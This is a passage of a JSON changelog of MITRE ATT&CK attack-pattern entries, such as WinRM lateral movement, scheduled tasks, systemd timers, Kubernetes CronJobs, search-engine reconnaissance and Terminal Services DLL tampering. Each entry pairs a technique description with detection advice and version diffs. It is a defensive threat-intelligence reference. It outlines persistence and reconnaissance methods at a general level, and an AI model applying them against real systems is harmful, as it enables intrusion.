"attack-pattern", + "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:29:47.757000+00:00", + "modified": "2024-09-12 15:28:23.398000+00:00", + "name": "Windows Remote Management", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/006", + "external_id": "T1021.006" + }, + { + "source_name": "Medium Detecting Lateral Movement", + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" + }, + { + "source_name": "Jacobsen 2014", + "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", + "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + }, + { + "source_name": "Microsoft WinRM", + "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/winrm/portal" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Logon Session: Logon Session Creation", + "Network Traffic: Network Connection Creation", + "Command: Command Execution", + "Network Traffic: Network Traffic Flow", + "Service: Service Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:28:23.398000+00:00\", \"old_value\": \"2023-08-11 15:26:41.941000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://learn.microsoft.com/en-us/windows/win32/winrm/portal\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/aa384426\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:46.977000+00:00", + "modified": "2024-10-15 15:14:03.453000+00:00", + "name": "Scheduled Task/Job", + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053", + "external_id": "T1053" + }, + { + "source_name": "ProofPoint Serpent", + "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + }, + { + "source_name": "TechNet Task Scheduler Security", + "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Prashant Verma, Paladion", + "Leo Loobeek, @leoloobeek", + "Travis Smith, Tripwire", + "Alain Homewood, Insomnia Security", + "Andrew Northern, @ex_raritas", + "Bryan Campbell, @bry_campbell", + "Zachary Abzug, @ZackDoesML", + "Selena Larson, @selenalarson" + ], + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "File: File Creation", + "Process: Process Creation", + "Container: Container Creation", + "Command: Command Execution", + "File: File Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_effective_permissions": [ + "SYSTEM", + "Administrator", + "User" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:14:03.453000+00:00\", \"old_value\": \"2024-03-01 15:29:46.832000+00:00\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0032: Container (Container Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-29 17:06:22.247000+00:00", + "modified": "2024-10-15 16:26:03.731000+00:00", + "name": "Container Orchestration Job", + "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/007", + "external_id": "T1053.007" + }, + { + "source_name": "Kubernetes CronJob", + "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" + }, + { + "source_name": "Kubernetes Jobs", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.", + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/" + }, + { + "source_name": "Threat Matrix for Kubernetes", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_data_sources": [ + "File: File Creation", + "Container: Container Creation", + "Scheduled Job: Scheduled Job Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:26:03.731000+00:00\", \"old_value\": \"2023-04-15 16:23:05.392000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0022: File (File Creation)", + "DS0032: Container (Container Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-12 17:50:31.584000+00:00", + "modified": "2024-10-15 16:42:51.536000+00:00", + "name": "Systemd Timers", + "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053/006", + "external_id": "T1053.006" + }, + { + "source_name": "Systemd Remote Control", + "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021.", + "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/" + }, + { + "source_name": "archlinux Systemd Timers Aug 2020", + "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.", + "url": "https://wiki.archlinux.org/index.php/Systemd/Timers" + }, + { + "source_name": "gist Arch package compromise 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", + "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a" + }, + { + "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018", + "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", + "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/" + }, + { + "source_name": "acroread package compromised Arch Linux Mail 8JUL2018", + "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", + "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html" + }, + { + "source_name": "Falcon Sandbox smp: 28553b3a9d", + "description": "Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023.", + "url": "https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300" + }, + { + "source_name": "Linux man-pages: systemd January 2014", + "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", + "url": "http://man7.org/linux/man-pages/man1/systemd.1.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "SarathKumar Rajendran, Trimble Inc" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Scheduled Job: Scheduled Job Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:42:51.536000+00:00\", \"old_value\": \"2023-09-08 11:56:26.862000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:48:04.509000+00:00", + "modified": "2024-09-12 19:19:47.759000+00:00", + "name": "Search Open Websites/Domains", + "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1593", + "external_id": "T1593" + }, + { + "source_name": "SecurityTrails Google Hacking", + "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.", + "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks" + }, + { + "source_name": "Cyware Social Media", + "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.", + "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e" + }, + { + "source_name": "ExploitDB GoogleHacking", + "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", + "url": "https://www.exploit-db.com/google-hacking-database" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:19:47.759000+00:00\", \"old_value\": \"2022-10-18 22:48:33.286000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.\", \"old_value\": \"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks\", \"old_value\": \"https://securitytrails.com/blog/google-hacking-techniques\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:50:12.809000+00:00", + "modified": "2024-09-12 19:19:47.758000+00:00", + "name": "Search Engines", + "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1593/002", + "external_id": "T1593.002" + }, + { + "source_name": "SecurityTrails Google Hacking", + "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.", + "url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks" + }, + { + "source_name": "ExploitDB GoogleHacking", + "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.", + "url": "https://www.exploit-db.com/google-hacking-database" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:19:47.758000+00:00\", \"old_value\": \"2021-04-15 03:52:06.960000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.\", \"old_value\": \"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks\", \"old_value\": \"https://securitytrails.com/blog/google-hacking-techniques\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-28 15:34:44.590000+00:00", + "modified": "2024-09-12 19:40:42.810000+00:00", + "name": "Terminal Services DLL", + "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: svchost.exe) load the service's DLL file, the location of which is stored in a Registry entry named ServiceDll.(Citation: Microsoft System Services Fundamentals) The termsrv.dll file, typically stored in `%SystemRoot%\\System32\\`, is the default ServiceDll value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal termsrv.dll functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the termsrv.dll file or modifying the ServiceDll value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1505/005", + "external_id": "T1505.005" + }, + { + "source_name": "James TermServ DLL", + "description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.", + "url": "https://x.com/james_inthe_box/status/1150495335812177920" + }, + { + "source_name": "Microsoft System Services Fundamentals", + "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx" + }, + { + "source_name": "Microsoft Remote Desktop Services", + "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.", + "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services" + }, + { + "source_name": "RDPWrap Github", + "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.", + "url": "https://github.com/stascorp/rdpwrap" + }, + { + "source_name": "Windows OS Hub RDP", + "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.", + "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Module: Module Load", + "Command: Command Execution", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for changes to Registry keys associated with ServiceDll and other subkey values under HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\.\n\nMonitor unexpected changes and/or interactions with termsrv.dll, which is typically stored in %SystemRoot%\\System32\\.\n\nMonitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: reg.exe) or modify/replace the legitimate termsrv.dll.\n\nMonitor module loads by the Terminal Services process (ex: svchost.exe -k termsvcs) for unexpected DLLs (the default is %SystemRoot%\\System32\\termsrv.dll, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:40:42.810000+00:00\", \"old_value\": \"2022-04-18 20:22:44.971000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.\", \"old_value\": \"James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://x.com/james_inthe_box/status/1150495335812177920\", \"old_value\": \"https://twitter.com/james_inthe_box/status/1150495335812177920\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions", + "M1047: Audit" + ], + "new": [], + "dropped": [] + 